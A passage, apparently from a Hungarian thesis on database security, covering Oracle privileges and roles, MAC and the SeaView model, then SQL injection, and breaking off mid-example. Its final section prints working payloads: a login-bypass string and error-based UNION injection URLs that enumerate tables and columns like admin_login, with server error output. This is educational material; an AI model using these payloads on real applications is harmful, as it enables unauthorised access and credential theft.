A fentebb felsorolt műveletek mellett egyes speciális objektum típusokhoz még más műveletek is köthetők, így például a tárolt eljárások esetén a végrehajtási jogosultság is értelmezhető. Az objektumoknak itt is van egy tulajdonosa, az objektumot létrehozó felhasználó. A tulajdonos teljes hozzáférési jogkörrel rendelkezik az objektumhoz. Más felhasználók alapesetben semmilyen hozzáférési jogot nem kapnak. Ahhoz, hogy az objektumhoz más felhasználó is hozzáférjen, a tulajdonosnak engedélyeznie kell a műveletet a következő utasítás kiadásával:

GRANT jog ON obj. TO felh. [WITH GRANT OPTION]

Ahol „jog" a listában felsorolt jogosultságokat jelenti. A „obj" szimbólum az érintett objektumra, a „felh." rövidítés pedig a felhasználóra vonatkozik. Az opcionális „WITH GRANT OPTION" tag megadásakor az átadott hozzáférési jogkört az adományozott felhasználó továbbadhatja más felhasználóknak. Ezzel mintegy ideiglenesen lemondunk az objektum ellenőrzéséről, hiszen tetszőleges helyekre is elkerülhet a jogosultság. Ha felhasználó azonosítóként a „PUBLIC" kulcsszót adjuk meg, akkor a rendszer minden felhasználója megkapja a kijelölt hozzáférési jogot. Az adományozott jogokat a következő utasítással vonhatjuk vissza:

REVOKE jog ON obj. FROM felh.;

Melyben a paraméterek jelentése hasonló a „GRANT” utasítás paraméterezésével. Így ha a felhasználó helyén a PUBLIC szerepel, akkor minden felhasználótól visszavonásra kerül az adományozott jogkör. Ha például, egy új „KONYV” táblát olvashatóvá akarjuk tenni, a „JANOS” felhasználó számára, akkor ahhoz a „GRANT SELECT ON KONYV TO JANOS;” utasítást kell kiadni. Ha később vissza kívánjuk vonni az olvasási jogot minden felhasználótól, akkor a „REVOKE SELECT ON KONYV FROM PUBLIC;” a megfelelő utasítás. Az objektumokra vonatkozó jogosultságok mellett az RDBMS-ben léteznek úgynevezett rendszer privilégiumok is. A rendszerprivilégium művelet csoportra vonatkozik, függetlenül az érintett objektumoktól. Ha egy felhasználó rendelkezik például egy DELETE ANY TABLE privilégiummal, akkor az illető a rendszer bármely táblájából, annak bármely rekordját törölheti. A rendszerprivilégium tehát bármely objektumra engedélyezi a kijelölt műveletet. Az Oracle rendszerben mintegy száz rendszer privilégium értelmezett, mint például:

- CREATE SESSION: hozzáférés az adatbázishoz
- CREATE TABLE: tábla létrehozásának joga a saját sémában
- CREATE ANY TABLE: tábla létrehozása bármely sémában

Az rendszer jellemzője, hogy egy új felhasználó alapesetben semmilyen jogkörrel sem rendelkezik, így például még bejelentkezéshez, egy „session” létrehozásához sincs jogosultsága. A rendszergazdának külön meg kell adni minden illeszkedő jogkört. A rendszerprivilégiumok megadásának formátuma hasonló az objektum jogok kezeléséhez. A rendszer privilégium adományozása a „GRANT jog ON obj. TO felh. [WITH ADMIN OPTION]” utasítással történik, ahol a „WITH ADMIN OPTION” azt jelenti, hogy az adományozott továbbadhatja a kapott rendszer privilégiumot. A privilégium visszavonása a „REVOKE jog ON obj. FROM felh.;” utasítással lehetséges. Az adományozott objektum jogokat és privilégiumokat az RDBMS egy rendszertáblában tárolja, melynek egy, a felhasználót érintő részletéről bármely felhasználó információt kaphat. A kapott jogokat tehát egy rendszer nézet (view) lekérdezésével lehet kilistáztatni. A két rendszer nézet azonosítója:

- USER_COL_PRIVS: objektum jogok
- USER_SYS_PRIVS: rendszer privilégiumok

Így a kapott privilégiumokat a „SELECT * FROM USER_SYS_PRIVS;” utasítással kérdezhetjük le. Minden szükséges privilégiumot és tábla jogot, külön adományozni kell a felhasználóknak. Ez igen időigényes és nagy körültekintést igénylő feladat, hiszen a rendszerben mintegy száz privilégium és több tucat objektum jogkör is létezik. Mindehhez

még azt is hozzá kell venni, hogy a nagyobb rendszerek több száz felhasználót is nyilvántartanak. Ezáltal igen könnyen áttekinthetetlené válna a védelmi rendszer, ha nem vezetnének be valamilyen segédeszközt a nyilvántartás megkönnyítésére.

Egy ilyen segédeszköz az úgynevezett szerepkör mechanizmus. A szerepkör (role) egy átmenetet képez a felhasználók és a jogkörök, privilégiumok között. Első közelítésben a szerepkör egy privilégium, jogkör halmaz, együttes, amelyet a felhasználókhoz lehet hozzárendelni. A szerepkör adományozása után a felhasználó rendelkezni fog mindazon objektum jogokkal és rendszer privilégiumokkal, amiket a szerepkör tartalmaz. A szerepkör visszavonásakor a tartalmazott jogosultságok, privilégiumok is visszavonásra kerülnek. A szerepkör létrehozása az arra jogosult felhasználó által kiadott „CREATE ROLE szerep;” utasítással lehetséges, ahol a szerep egy tetszőleges új szerepazonosítót jelent. A későbbiekben a létrehozott szerep a „DROP ROLE szerep;” utasítással szüntethető meg. A szerepkörhöz, mely induláskor üres, a „GRANT jog ON obj. TO szerep;” utasítással rendelhetünk hozzá jogosultságokat és privilégiumokat, tehát itt a szerep formálisan, mint felhasználó szerepel. Egy szerephez egymásután több különböző privilégium és jogkör is rendelhető. A szerephez rendelt jogosultságokból, privilégiumokból a „REVOKE jog ON obj. FROM szerep;” utasítással lehet egyes elemeket kivenni. A létrehozott szerepeket több különböző felhasználóhoz is hozzá lehet rendelni. A szerep adományozása a „GRANT szerep TO felh.;” míg a visszavonása a „REVOKE szerep. FROM felh.; paranccsal történik. A szerepkör mechanizmus rugalmasságát növeli, hogy a szerepkörök egymáshoz is rendelhetők, azaz egy szerepkörhöz hozzárendelhető egy másik szerepkör által tartalmazott jogosultságok is a „GRANT szerep1 TO szerep2;” utasítással. Eredményekét a „szerep2” szerepkörhöz hozzáadódik a „szerep1” szerepkör, s általa mindazon jogosultságok, melyeket a „szerep1” tartalmaz. Így a szerepek mintegy egymásba is ágyazhatók. A kapott szerepek alapesetben a bejelentkezés után közvetlenül már élnek: Van azonban arra is lehetőség, hogy a szerepet a felhasználó ne közvetlenül kapja meg, hanem külön, kérnie kell a szerep felvételét. Az ilyen szerepeket opcionális szerepeknek nevezik. Az opcionális szerep jelentősége abban áll, hogy a szerephez egy egyedi jelszót lehet kapcsolni, így csak akkor veheti fel a felhasználó a szerepet, ha meg tudja adni a szerephez tartozó jelszót is. Egy opcionális szerep létrehozása három lépésben megy végbe. Elsőként a „CREATE ROLE szerep [IDENTIFIED BY jelszo];” utasítás kiadásával új szerepet hozunk létre, melyhez jelszó is kapcsolódhat. A jelszó megadása nem kötelező. Ezután a szerepet hozzárendeljük a felhasználóhoz a „GRANT

szerep TO felh;” utasítással, mely így „default”, vagyis a bejelentkezés után rögtön élő szereppé válik. Az opcionális szerepet a felhasználó jogosultsági adatainak módosításával lehet beállítani: „ALTER USER felh. DEFAULT ROLE kif.;” A fenti utasítás a „default” szerepek beállítására szolgál. Minden olyan szerep, ami nem esik bele a „kif.” hatáskörébe, átmegy opcionális szerepbe. A „kif.” helyén több különböző módon is megadható a szerepkijelölés. Így többek között használhatók a következők:

- „ALL”: minden szerep
- „NONE”: egyik sem
- „ALL EXCEPT”: szereplista: minden szerep a lista elemeinek kivételével kifejezések is.

Az opcionális szerepek felvételét ezután a felhasználónak külön paranccsal kell kérnie, melynek alakja: „SET ROLE szerep [IDENTIFIED BY jelszo];”. A jelszóval védett szerep esetén a jelszó megadása kötelező. A felvett szerepeket a „SET ROLE NONE;” utasítással lehet leadni. Az opcionális szerep különben a munkafolyamat, „session” végéig él. A szerepek jelentősége abban áll, hogy áttekinthetőbbé teszik a védelmi jogok adminisztrálását, könnyebb és gyorsabb velük dolgozni. Az opcionális szerepek lehetőséget adnak ideiglenes, korlátozott idejű jogosultságok biztosítására. Ennek egyik gyakorlati megvalósítása az, amikor egy program, amelynek egy adott felhasználóként be kell jelentkeznie az RDBMS-be, hogy elérje az adatbázisban tárolt adatokat, a futás bizonyos szakaszaira vesz fel opcionális jogokat, érzékenyebb információk elérésére. Ezen óvatosság oka az, hogy a bejelentkezési név és jelszó viszonylag könnyen kideríthető bárki számára, de a programban kódolt szerep jelszó feltörése már sokkal nehezebb feladatot jelent a kíváncsiskodóknak.

3.3. A MAC modell

Olyan információs rendszerekben, melyeknek szigorúbb védelmi előírásoknak kell eleget tenniük, a DAC mechanizmus nem biztosít kellő biztonságot. A decentralizáltság miatt az információk tetszőlegesen áramolhatnak, nagyobb a veszélye annak, hogy jogosulatlan adatok olyanokhoz is eljuthatnak a RDBMS-en keresztül, akiknek erre a rendszer alapkoncepciója szerint nem lenne jogosultságuk. A szigorúbb feltételek kielégítésére alkották meg a MAC alapú védelmi rendszereket. A MAC rendszerben egységesen történik a hozzáférések szabályozása. Minden objektum és felhasználó kap egy titkossági kódot. A titkossági kód két elemből áll, egy terület-jelző és titkossági szintből (L = (S,A)) ahol, „S” a

titkosság szintje (pl. Unclassified, Classified, Secret, TopSecret) „A” a terület kijelölése (pl. NATO, ME). A titkossági szintek között egy szigorúsági relációt lehet felállítani:
U (unclassified) < C (calssified) < S (secret) < TS (topsecret).
A területek között pedig egy tartalmazási reláció létesíthető, vagyis az egyik területkód magába foglalhat egy másik területkódot. A terület jelölésére rendszerint bevezetnek elemi területjelöléseket, mint pl. bérügy, munkaügy, és a terület kódját az oda tartozó elemi területek listájával adják meg (pl. {bérügy, pénzügy}). Az objektum esetén a titkossági szint azt jelzi, hogy mennyire tekinthető titkosnak az adatot adat, míg a felhasználó esetén a titkossági szint arra utal, hogy a felhasználó milyen titkossági szintű információkhoz férhet hozzá. A jogosultságok eldöntésénél az objektum és a felhasználó védelmi kódjainak viszonya a meghatározó. Adott felhasználó akkor olvashat egy objektumot, ha a titkossági szintje nagyobb vagy egyenlő, mint az adat titkossági szintje és a területe is kiterjed az adat vonatkozási területére. A jogosultság formális eldöntésére a következő definíció szolgál: „az L1 kódot dominálja az L2 kód, ha L1 kisebb, vagy egyenlő, mint L2 akkor, és csak akkor, ha S1 kisebb, vagy egyenlő, mint S2 és A1 részhalmaza A2-nak teljesül” [1], azaz a titkossági szint legalább olyan és a terület kód magába foglalja a másik terület kódját. Könnyen belátható, hogy nem minden kód-pár hasonlítható össze, hiszen lehet olyan kód-pár, melyben az S1 nagyobb, mint S2, és A1 kisebb, mint A2. Ezért a kódok halmaza csak részben rendezett a dominancia relációra nézve. A MAC védelmi stratégia háromféle absztrakt műveletet tartalmaz:
- olvasás (R), csak olvasás, módosítás nélkül
- írás (W), amikor olvassuk és módosítjuk az adatelemet
- bővítés (A), amikor csak írhatunk új adatelemet
Az „A” és „W” műveletek elkülönítését az indokolja, hogy lehetnek olyan információk, melyeket egy személy felvihet, mivel az például az ő adatait jelenti, de az általa, vagy mások által felvitt és egyazon védelmi szinten tárolt adatokat már nem kérdezheti le az illető. Ekkor az „A” művelet él, de a „W” művelet nem engedélyezett.

A MAC rendszerek a felhasználókat két csoportba sorolják a megbízhatóságuk alapján: megbízható (trusted) és nem megbízható (untrusted) csoport. A megbízható felhasználóknál a megbízhatóság azt jelenti, hogy az elért információkat nem fogja kiszolgáltatni jogosulatlan személyek felé, míg a nem megbízható személyeknél gondoskodni kell arról, hogy megakadályozzuk, amennyire csak lehet az adatok jogosulatlan személyekhez

történő átadását. Emiatt a két felhasználócsoport kezelése is eltérő. A nem megbízható felhasználók esetén a működési axiómák a következőképp foglalhatók össze:

- „untrusted” felhasználó csak olyan erőforrást olvashat, melynek dominálja a kódját
- „untrusted” felhasználó csak olyan erőforrást írhat, melynek kódja megegyezik az ő kódjával
- „untrusted” felhasználó olyan erőforrást bővíthet, melynek kódja dominálja az ő kódját

Az első tétel azt mondja ki, hogy csak a nem titkosabb és az illető területébe eső adatokat lehet olvasni. A második tétel szerint csak azon adatok olvashatók és módosíthatók, amelyeknek a titkossági szintje és a területkódja megegyezik a felhasználó ilyen irányú adataival. A harmadik tétel azt jelzi, hogy egy felhasználó csak olyan adatokat fűzhet be, melyek legalább olyan titkossági szinten vannak, mint a felhasználó. Ennek oka, hogy a felhasználót megakadályozzák abban, hogy a megszerzett információt átvigyék olyan objektumokba, melyek titkossági szintje alacsonyabb az olvasott objektum szintjétől. A megadott axióma ettől még egy kicsit szigorúbban is viselkedik, hiszen a felhasználótól alacsonyabb szintű objektumok egyáltalán nem módosíthatók. A megbízható felhasználók esetében annyiban módosul a működési elv, hogy nincs megtiltva az alacsonyabb védelmi szintű objektumok módosítása.

- „trusted” felhasználó csak olyan erőforrást írhat és olvashat, melynek dominálja a védelmi kódját
- „trusted” felhasználó olyan erőforrást bővíthet, melynek kódja dominálja az ő kódját

A MAC modellek megvalósításnak egyik példája a „trusted Oracle” rendszer. A „trusted Oracle” RDBMS-t a nagyobb védelmi igénnyel rendelkező információs rendszerekben használják. A „trusted Oracle” tipikus alkalmazási területei a kormányzati és katonai információs rendszerek. A „trusted Oracle” RDBMS védelmi rendszere a „SeaView” modellen alapszik.

A „SeView” modell elsődlegesen a MAC stratégián alapszik, de vannak benne bizonyos újabb kiegészítések is, és tartalmaz DAC elemeket is. Az egyik legfontosabb újítás a standard MAC modellhez viszonyítva, hogy a felhasználók és az objektumok is kapnak a már ismert védelmi kód mellett egy-egy megbízhatósági, fontossági kódot is. Míg a védelmi kódok az adatok titkosságát jelölte, addig a megbízhatósági kód azt jelzi, hogy az adat mennyire tekinthető végleges, biztos adatnak. Az adatok között lehetnek ugyanis olyan adatok, melyek már biztosak és széles körben ismertek lehetnek, míg előfordulhatnak olyan adatok is, melyek nem teljesen tekinthetők biztosnak, illetve még nem érettek a nyilvánosság

számára. Így például a cég múlt évi forgalma egy biztos, megbízható-adat, míg az több évre szóló előrejelzések még bizonytalan adatnak tekinthetők, melyet esetleg nem célszerű még a szélesebb nyilvánosság elé tárni. A védelmi kód mellett szereplő megbízhatósági kód is hasonló formátumban jelenik meg, mint a védelmi kód, azaz az objektumokhoz és felhasználókhoz egy megbízhatósági szintből és egy területjelzőből álló kódpárt rendelnek, melyet az „I" szimbólummal jelölnek. Vagyis „I = (C, A)" a megbízhatósági kód, melyben „C" a megbízhatóság, fontosság szintje („C" teljesen megbízható, „VI" igen megbízható, „I" kevéssé megbízható, „U" nem megbízható). A terület-jelző, több terület együttese is lehet (pl. NATO, ME). A megbízhatósági szintek között is értelmezhető egy megbízhatósági reláció, mely szerint: (C > VI > I > U). A területjelzők között továbbra is értelmezhető a tartalmazási reláció. Egy felhasználó esetén a megbízhatósági szint arra utal, hogy mennyire bízunk meg a felhasználóban, mennyire lehet a számára a még bizonytalan információkat is kiadni. A felhasználó esetén az U szint jelenti azt, hogy bármilyen szintű információt olvashat. A megbízhatóság esetén a dominancia értelmezése megegyezik a védelmi kódoknál alkalmazott értelmezéssel, vagyis: I1 kisebb, vagy egyenlő, mint I2 akkor és csak akkor, ha C1 kisebb, vagy egyenlő, mint C2 és A1 részhalmaza A2-nek. A megbízhatósági és a védelmi kódok együttesen jellemzik az objektum, illetve felhasználó védelmi helyzetét, s e két kódot együttesen hozzáférési osztálynak nevezik. A hozzáférési osztály jelölése: (C= {L, I}). A hozzáférés jogosságának ellenőrzésénél, fontos szerepet kap az objektum és a felhasználó hozzáférési osztályának viszonya. Az irányelv itt abban áll, hogy a felhasználó csak a kevésbé titkos és a jobban megbízható adatokat olvashassa. Ennek megfelelően itt is létezik egy osztályok közötti dominancia reláció. A (C1 * C2) jelenti azt, hogy C2 dominálja C1-et. A dominancia értelmezése: C1 kisebb, vagy egyenlő, mint C2 akkor és csak akkor, ha L1 kisebb, vagy egyenlő, mint L2 és I1 nagyobb, vagy egyenlő, mint I2. Vagyis az L2 dominálja L1-et, míg a megbízhatóságnál az I1 dominálja I2-t. Az irányeltérés oka, hogy stratégia alapján a felhasználó a kevésbé titkos, de nagyobb mértékben megbízható adatokhoz férhet hozzá. A másik lényeges eltérés a hagyományos MAC modellhez képest, hogy amíg a MAC modellben egy adott felhasználó esetén az olvasási és a hozzáfűzési tartomány egymással érintkezik, azaz közös a határuk, addig a „SeaView" modellben e két tartomány bizonyos értelemben átfedheti egymást. Az olvasási és írási jogok finomítására minden felhasználó kap egy „Lmin", egy „Lmax", egy „Imin", és egy „Imax" kódot. Ezen kódokból képeznek egy olvasási és egy írási hozzáférési osztályt. A hozzáférési osztály: „CR= {Lmax, Imin}" míg az

írási osztály a „CW= {Lmin, Imax}” alakban adott. A modell feltevése szerint az olvasási osztálynak dominálni kell az írási osztályt. Ez azért szükséges, hogy ne legyen hézag a két osztály között, hanem legyen egy olyan szint, melyet a felhasználó úgymond magáénak mondhat, ahol teljes jogkörrel rendelkezik. A „SeaView” modell legfontosabb működési axiómái a következőkben foglalható össze:[1.]

- Egy „S” felhasználó csak azon „O” erőforrást olvashatja, melynek elérési osztályát a felhasználó olvasási osztálya dominálja „CR(s) * C(o)”.
- Egy „S” felhasználó csak azon „O” erőforrást bővítheti, melynek elérési osztálya dominálja a felhasználó írási osztályát „CW(s) * C(o)”.

Az első axióma azt a már érintett elvet rögzíti, hogy a felhasználó csak olyan adatokat olvashat, melyek kevésbé vagy olyan titkosak, mint az ő szintje, de megbízhatóbbak vagy olyan, megbízhatóak, mint az ő szintje. A második axióma azt mondja ki, hogy a felhasználó csak olyan adatokat írhat, melyek titkosabbak vagy olyan titkosak, mint az ő szintje, és nem megbízhatóbbak, mint a felhasználó megbízhatósági szintje. Az előző axiómákból az is következik, hogy a módosítás, az adatok olvasása és írása csak a felhasználóval azonos szintű objektumoknál lehetséges. A „SeaView” alapú RDBMS rendszerekben a védelem szintje sokkal finomabb, mint a hagyományos RDBMS rendszerekben. Így a védelembe bevont objektumok nemcsak a táblák lesznek, hanem az annál kisebb egységek is. Ez az egység az adatmező. Azaz a tábla minden sorának minden mezője egy egyedi védelmi kódot kap. Az egyszerűség végett a továbbiakban csak a titkossági szintjelzőkre fogok hivatkozni.

A mező szintű védelem egyik következménye a többszintű (multi-level) táblák megjelenése. Ez a jelenség arra utal, hogy a különböző felhasználók másképp látják, másnak látják ugyanazt a táblát. Ennek oka, hogy a mezőben tárolt adatok titkossági szintje más és más lehet. Így egy adott felhasználó esetén a felhasználó védelmi kódja dönti el, hogy mit is kap eredményül. A felhasználó csak azon mezőértékeket fogja látni, melyek kódját a felhasználó kódja dominálja. A különböző védelmi kódok miatt ugyanaz az objektum több különböző szinten létezik, mindegyiken saját nézettel. E nézetek között azonban létezik egyfajta szabályszerűség, miszerint egy adott mezőérték valamely szint alatt „NULL”, azaz üres értéket mutat, míg e szint felett a valóságos értéket mutatja mindenkinek. E mutatott érték minden jogosult felhasználó esetén a táblában szereplő valódi érték. Ebből az a következtetés vonható le, hogy két jogosult felhasználó ugyanazt az értéket fogja látni. A valóságban azonban ez nem mindig biztosítható. A jelenséghez abból a természetesnek tűnő

kérdésből kell kiindulni, hogy vajon mi dönti el, hogy egy objektum védelmi szintje milyen legyen. Az, nagyon valószínűtlennek tűnik, hogy egy központi menedzser minden mezőértékre előír egy védelmi szintet. Ez egy átláthatatlan, reménytelen feladat lenne. Emiatt itt is abban kell gondolkozni, hogy az objektum létrehozójának védelmi szintje fog az objektumhoz kapcsolódni. Például, legyen egy olyan adatelem, melynek titkossági szintje „C". Ez az adatelem egy „U" szintű felhasználónál „NULL" értékként jelenik meg. Az „SeaView" modellen alapuló RDBMS rendszernek is hasonló képet kell mutatnia a felhasználó számára, mint a hagyományos RDBMS rendszereknek. Ezért amikor az „U" jogosultságú felhasználó a táblában át kívánja írni a mező értékét, meg kell engedni neki. Ekkor tulajdonképpen a tábla „U" szintű nézete változik meg, mely egyben a magasabb szintű nézetekben is meg fog jelenni. A problémát az okozza, hogy a magasabb „C" szinten már volt korábban is érték az adatelemben. Az a megoldás, hogy a „C" szintű érték átíródjon, nem tűnik célszerűnek, hiszen ebben az esetben lentről beleavatkoznának a magasabb szinten elvégzett tevékenységekbe. A működési axiómák pedig csak az új adatok beszúrására vonatkoznak, s nem a régi adatok felülírására. Emiatt a magasabb szintű nézetekben az adatok nem átíródnak, hanem bővülnek. Ez azt is jelenti, hogy a tábla C szintű lekérdezésénél mindkét adatértéknek szerepelni kell, megadva, hogy melyik vonatkozik az „U", s melyik a „C" védelmi szintre. Ebből viszont az is látható, hogy az adatelemnek valójában több különböző fizikai előfordulását is tárolni kell. Az adatok többszörös, több különböző értékkel történő előfordulását „polyinstantiation" jelenségnek nevezzük. A „polyinstantiation" jelensége különösen azért érdekes, mert hatására a táblában több olyan rekord-előfordulás is szerepelhet egyidejűleg, melyek azonos kulcsértéket tartalmaznak. Emiatt az alaptáblában is módosított formában fognak csak teljesülni például az egyediségre vonatkozó integritási feltételek. Ha meg kívánnánk őrizni az integritási feltételeket a hagyományos értelmezésben, akkor a legalacsonyabb szintű előfordulás bevitelekor például, hibát jelezne a rendszer, amely hibából viszont a felhasználó már következtethetne, hogy a tábla már tartalmaz ugyanilyen kulcsú rekordot. Vagyis jogosulatlan információkhoz juthatna a hibajelzés által a felhasználó. A „polyinstantiation" következménye az is, hogy a felhasználó ilyen rendszerben nem lehet biztos abban, hogy a teljes igazságot kapja a lekérdezéskor. Mint a mechanizmusból is kitűnik, a felhasználó csak azt fogja megkapni, ami számára engedélyezett, a titkosabb, a teljesebb valóságot tartalmazó adatok rejtve maradnak előtte.

A bemutatott MAC elemek mellett a rendszer teljes védelme csak a műveletek pontos korlátozását lehetővé tevő DAC elemekkel együtt biztosítható, így a „SeaView” modell is tartalmazza korábban részletesen felvázolt DAC modellt a MAC komponens kiegészítéseként. A standard DAC és MAC mechanizmusok mellett még számtalan egyedi mechanizmus is születhet az RDBMS kidolgozása során a védelem biztosítására. Zárásaként egy olyan mechanizmust mutatok be, mely más környezetben is alkalmazható az adatok módosítás elleni védelmének ellenőrzésére. Az „Integrity check” mechanizmus alapelve az, hogy az adatbázisban letárolt adategységekhez, például rekordokhoz, kiszámol egy belső egy-utas algoritmussal előállított ellenőrző összeget, úgy hogy a különböző rekord-előfordulások nagy valószínűséggel más és más ellenőrző összeget szolgáltassanak. A rekordhoz tartozó ellenőrző összeget a rekorddal együtt tárolják le az adatbázisban. Az ellenőrzés abban áll, hogy az olvasáskor ismét kiszámolásra kerül az ellenőrző összeg, s a rendszer ellenőrzi, hogy a kiszámolt és az adatbázisban tárolt ellenőrző összegek megegyeznek-e egymással. Ha nem akkor, valamilyen jogosulatlan hozzáférés történhetett az adatbázisban, mivel a jogosult hozzáférési útvonal mentén történő módosításokkor az ellenőrző összeg is aktualizálódik. Az ellenőrzés mechanizmusa egy külső biztonsági komponensbe is implementálható, mely mintegy ráépül az alkalmazott RDBMS rendszerre. Az adatokhoz a jogosult hozzáférések mindig egy komponensen keresztül mennek végbe. A bemutatott mechanizmust az illetéktelen módosítások megakadályozására is felhasználhatjuk olyan módon, hogy a jogosult módosításokkor az ellenőrző összeget a rekord egy erre kijelölt mezőjébe tesszük, s az adatbázisban létrehozunk egy „trigger-t” a módosításokhoz. A „trigger” feladata, hogy kiszámolja az új értékkel a módosított ellenőrző összeget, s megnézze, hogy a kiszámolt összeg megegyezik-e a rekordban megadott értékkel vagy sem. Ha nem egyezne meg, akkor illetéktelen úton próbálják módosítani az adatbázist, ezért ekkor a módosítás letiltható és naplózható is. Egy igen biztonságos, de kissé merev és igen költséges megoldás. Az, amikor az adatbázis adatait fizikailag particionáljuk nyilvános és titkos adatokra, ekkor a két komponens külön rendszeren, külön csomópontokon helyezkedik el. Minden védelmi szintnek megvan a saját RDBMS rendszere és adatbázisa. Az egyes felhasználók jogosultsági köre dönti el, hogy melyik csomóponthoz férhet hozzá a felhasználó. A hozzáférési védelem, ezáltal biztosan megvalósítható, e rendszerben a nehézséget inkább az adatok szinkronizálása és a nagyobb rendszer-karbantartási igény okozza.

3.4. Támadási technikák főbb jellemzői

3.4.1. Az SQL Támadás

Az úgynevezett „SQL injection” technika, sebezhetőség a szerveroldali bemenet kontrollok egyik legelterjedtebb tagja. Kiemelt jelentőséggel bír, ezért nagyon fontos foglalkozni vele. Manapság a legtöbb web alkalmazás valamilyen adatbázis kezelő rendszert használ, az alkalmazáshoz szükséges adatok tárolására. A web szerver és a mögötte dolgozó adatbázis szerver közösen alkotják a web alkalmazások infrastruktúráját. A web alkalmazások általában adatbázisrendszerben tárolják az üzleti logika adatait, a felhasználó neveket és a hozzájuk tartozó jelszavakat és továbbá az aktuális munkafolyamatok adatait is. A problémák ott jönnek elő, amikor a felhasználó bemenetet illeszt az alkalmazás egy SQL lekérdezésébe. A gondot az okozza, hogy a web alkalmazást az adatbázis kezelőrendszer lekérdezés értelmezője biztonságos forrásnak hiszi, így megtesz bármit, amire utasítást kap. Gyakori eset, hogy a web fejlesztők a nem közvetlenül a felhasználótól érkező bemenetek ellenőrzéséről megfeledkeznek. A következőkben bemutatom, hogy a „SQL injection” használatával konkrétan hol és hogyan lehet egy biztonsági szempontból rosszul megírt web alkalmazást megtámadni. Hangsúlyoznám azt, attól hogy egy web alkalmazás működik, elvégzi, amire szolgál, nem jelenti azt, hogy biztonságos is és megfelelően működik.

Elsőként a bejelentkezési felületek megkerülésére mutatok egy példát. Egy egyszerű bejelentkezési felület implementációjában az SQL lekérdezés így nézhet ki:

*SELECT * FROM felhasznalok*

WHERE fnev = ’’$_POST[’felhaszn’]’’ AND jelszo = ’’$_POST[’jelsz’]’’;

A *„$_POST[’felhaszn’]”* és a *„$_POST[’jelsz’]”* PHP változók, amik a bemeneti mezőkből kapják az értékeket. A lekérdezés kiadása után megtörténik a feltétel vizsgálat, ha nem nulla, és a felhasználó név és jelszó megvan, akkor a felhasználó érvényesítése sikeres. Ha a felhasználó név mezőjébe azt írjuk, hogy (admin’’;--) a jelszó mezőjébe pedig azt, hogy (jelszo), akkor a lekérdezés így fog kinézni:

*SELECT * FROM felhasznalok*

WHERE fnev=’admin’;-- AND jelszo = ’jelszo’;

Ez a lekérdezés az „admin” szó utáni pontosvesszőig lefut, az utána levő sort, pedig megjegyzésként kezeli a lekérdezés értelmező. Az értelmező nullánál különböző értékkel tér vissza így a felhasználó sikeresen belépett annak ellenére, hogy rossz jelszót adott meg.

A másik példa arra szolgál, hogy azonosítani tudjam, hogy milyen adatbázis kezelő rendszer fut az adott web alkalmazás mögött. Ez azért fontos mert, az egyes adatbázis kezelő rendszerek ugyan ugyanazt az SQL szabványt implementálják, azonban néhány ismert esetben különböznek egymástól. A példában a „string” típus konkatenációjának eltérő kezelése látható:

Oracle: 'al' || 'ma'

MSSQL: 'al'+'ma'

MySQL:'al' 'ma'

Az egyes termék hibát dob, ha a másik kettő dialektusával írt lekérdezést kap.

A harmadik, egyben utolsó példa azt kívánja bemutatni, hogy hogyan lehet tetszőleges adatot kinyerni egy adatbázisból. Ez a legegyszerűbben az UNION operátor segítségével történhet. A módszer azon alapszik, hogy két SQL lekérdezés egyesítése csak akkor lehetséges, ha pontosan ugyanannyi oszlopból állnak, amik egymással kompatibilis típusúak. Például „integer” típusú oszlop nem illeszthető „varchar” típussal. Ebben az esetben egy rosszul beállított web alkalmazás, vagy adatbázis kezelő rendszer hibával tér vissza, mely hibából a gonosz támadó sok, számára hasznos információt tudhat meg. A példa, amin keresztül bemutatom ezt a támadási technikát az alábbi linken található: http://www.securiteam.com/securityreviews/5DP0N1P76E.html *[Irodalomjegyzék 6.]*. Az alábbi címen található MSSQL adatbázis szerverből próbál meg információt kinyerni: http://duck/index.asp?id=10. Elsőként az UNION operátor segítségével a 10 „integer-hez” megpróbál egy „string-et” az adatbázisból hozzákapcsolni:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Az „INFORMATION_SCHEMA.TABLES” egy rendszertábla, amiben megtalálható az összes információ az adatbázisban tárolt táblákról. Ennek a lekérdezésnek az első tábla nevével kellene visszatérnie, ami az adatbázisban található. Amikor az MSSQL szerver megpróbál egy „string-et” „integer-ré” konvertálni hibát fog generálni, mivel ez nem lehetséges. Ebben az esetben a következő hibaüzenetet kapjuk:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5

Ebből a hibaüzenetből kiderül, hogy mi volt annak a táblának a neve, amit megpróbált integerré alakítani és ez nem más mit a „table1”. Ahhoz hogy megtudjuk a következő tábla nevét a következő utasítást adjuk ki:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Lehetőségünk van továbbá kulcsszavak alapján keresni:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Ekkor a következő hasznos hibaüzenetet kapjuk:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

Ebből a hibaüzenetből megtudhatjuk, hogy van egy olyan tábla, aminek az a neve, hogy „admin_login”, amiben valószínűleg az adminisztrátor bejelentkezési információi vannak. a következő utasítással a már ismert tábla oszlopainak nevét tudjuk meghatározni:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Ekkor a következő hibaüzenetet kapjuk:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5

Az előzőekhez hasonlóan itt is meghatározhatjuk az összes oszlop nevét szép sorban haladva a „NOT IN()” operátor segítségével:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

A hibaüzenet a következő:

